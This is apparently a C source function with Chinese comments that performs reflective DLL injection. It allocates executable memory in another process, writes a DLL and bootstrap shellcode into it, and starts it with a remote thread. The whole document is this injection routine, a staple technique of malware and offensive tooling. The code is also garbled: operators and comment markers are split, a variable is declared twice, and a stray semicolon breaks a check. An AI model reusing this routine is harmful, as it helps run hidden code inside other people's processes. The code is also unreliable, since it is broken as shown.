HANDLEWINAPI LoadRemoteLibrary(
HANDLEProcessHandle,
LPVOIDFileData, / / Dll文件数据
DWORDFileLength,
LPVOIDParameterData,
DWORDFunctionHash, / / 函数哈希值
LPVOIDUserData,
DWORDUserDataLength)
{
HANDLE RemoteThreadHandle = NULL;
DWORD RemoteThreadID = 0 ;
DWORD TargetArchitecture = X86; / / 目标体系结构
DWORD DllArchitecture = UNKNOWN;
DWORD CurrentArchitecture = X64;
DWORD CurrentArchitecture = X86
__try
{
do
{
if (!ProcessHandle || !FileData || !FileLength)
{
break ;
}
/ / 第一幕
/ / 1. 获得目标进程的Architecture 进程通过内核获得体系结构
HMODULE KernelModuleBase = LoadLibraryA( "kernel32.dll" );
if (!KernelModuleBase)
break ;
__IsWow64Process = (LPFN_ISWOW64PROCESS)GetProcAddress(KernelModuleBase, "IsWow64Process" );
FreeLibrary(KernelModuleBase);
if (__IsWow64Process)
{
BOOL IsOK;
if (!__IsWow64Process(ProcessHandle, &IsOK));
{
break ;
}
if (IsOK)
{
TargetArchitecture = X86;
}
else
{
/ / 通过系统判断 32 位与 64 位
SYSTEM_INFO SystemInfo = { 0 };
GetNativeSystemInfo(&SystemInfo);
if (SystemInfo.wProcessorArchitecture = = PROCESSOR_ARCHITECTURE_AMD64)
TargetArchitecture = X64;
elseif (SystemInfo.wProcessorArchitecture = = PROCESSOR_ARCHITECTURE_INTEL)
TargetArchitecture = X86;
else
break ;
}
}
/ / 2. 通过PE获得获得Dll的Architecture
/ / MZ头 + e_lfanew = NT头
PIMAGE_NT_HEADERS ImageNtHeaders = (PIMAGE_NT_HEADERS)(((PUINT8)FileData) + ((PIMAGE_DOS_HEADER)FileData) - >e_lfanew);
if (ImageNtHeaders - >OptionalHeader.Magic = = IMAGE_NT_OPTIONAL_HDR32_MAGIC) / / PE32
DllArchitecture = X86;
elseif (ImageNtHeaders - >OptionalHeader.Magic = = IMAGE_NT_OPTIONAL_HDR64_MAGIC) / / PE64
DllArchitecture = X64;
/ / 3. 判断DLL和目标进程是否是相同的架构??
if (DllArchitecture ! = TargetArchitecture)
{
printf( "Must Be Same Architecture\r\n" );
break ;
}
/ / 第二幕
/ / 1. 再次检查动态库的装入
/ / check if the library has a ReflectiveLoader...
DWORD ReflectiveLoaderOffset = GetReflectiveLoaderOffset(FileData);
if (!ReflectiveLoaderOffset)
{
printf( "Could Not Get ReflectiveLoader Offset\r\n" );
break ;
}
DWORD RemoteBufferLength = FileLength
+ UserDataLength
+ 64 ; / / shellcode buffer
/ / 2.alloc memory (RWX) in the host process for the image...
LPVOID RemoteBufferData = VirtualAllocEx(ProcessHandle, NULL, RemoteBufferLength, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!RemoteBufferData)
{
break ;
}
printf( "VirtualAllocEx() Success\r\n" );
/ / 3.1 write the image into the host process...将图像写入主进程。
/ / RemoteBufferData 指向写入数据的指定进程中的基地址的指针
if (!WriteProcessMemory(ProcessHandle, RemoteBufferData, FileData, FileLength, NULL))
break ;
/ / 基地址 + 偏移
ULONG_PTR ReflectiveLoader = (ULONG_PTR)RemoteBufferData + ReflectiveLoaderOffset;
/ / 3.2 write our userdata blob into the host process
ULONG_PTR RemoteUserData = (ULONG_PTR)RemoteBufferData + FileLength;
if (!WriteProcessMemory(ProcessHandle, (LPVOID)RemoteUserData, UserData, UserDataLength, NULL))
break ;
/ / 3.3 写shellcode
ULONG_PTR RemoteShellCode = RemoteUserData + UserDataLength;
BYTE Bootstrap[ 64 ] = { 0 };
DWORD BootstrapLength = CreateBootstrap(
Bootstrap,
64 ,
TargetArchitecture,
(ULONG_PTR)ParameterData,
(ULONG_PTR)RemoteBufferData,
FunctionHash,
RemoteUserData,
UserDataLength,
ReflectiveLoader);
if (BootstrapLength < = 0 )
{
break ;
}
printf( "%p\r\n" , RemoteShellCode);
getchar();
if (!WriteProcessMemory(ProcessHandle, (LPVOID)RemoteShellCode, Bootstrap, BootstrapLength, NULL))
break ;
printf( "Wrote ShellCode Success\r\n" );
/ *
此处的写入图
RemoteBufferData[FileData的基地址]
写入FileData
RemoteUserData[UserData的基地址]
写入UserData
RemoteShellCode
写入Bootstrap
* /
/ / 确保我们的更改是马上写的
FlushInstructionCache(ProcessHandle, RemoteBufferData, RemoteBufferLength);
printf( "%p\r\n" , RemoteShellCode);
getchar();
getchar();
/ / 第三幕 判断主体与客体的位 并且创建线程执行
/ / 目标 64 当前 32
if (CurrentArchitecture = = X86 && TargetArchitecture = = X64)
{
Wow64CreateRemoteThread(ProcessHandle, (LPVOID)RemoteShellCode, ParameterData, &RemoteThreadHandle);
ResumeThread(RemoteThreadHandle);
}
else
{
/ / 目标 32 当前 32
/ / 目标 64 当前 64
/ / 目标 32 当前 64
RemoteThreadHandle = CreateRemoteThread(ProcessHandle, NULL, 1024 * 1024 ,
(LPTHREAD_START_ROUTINE)RemoteShellCode, ParameterData,
(DWORD)NULL, &RemoteThreadID);
/ * lpStartAddress [ in ]指向由线程执行的类型为LPTHREAD_START_ROUTINE的应用程序
定义函数的指针,并表示远程进程中线程的起始地址。该功能必须存在于远程进程中。
lpParameter [ in ]
指向要传递给线程函数的变量的指针。
* /
}
} while ( 0 );
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
RemoteThreadHandle = NULL;
}
return RemoteThreadHandle;
}
|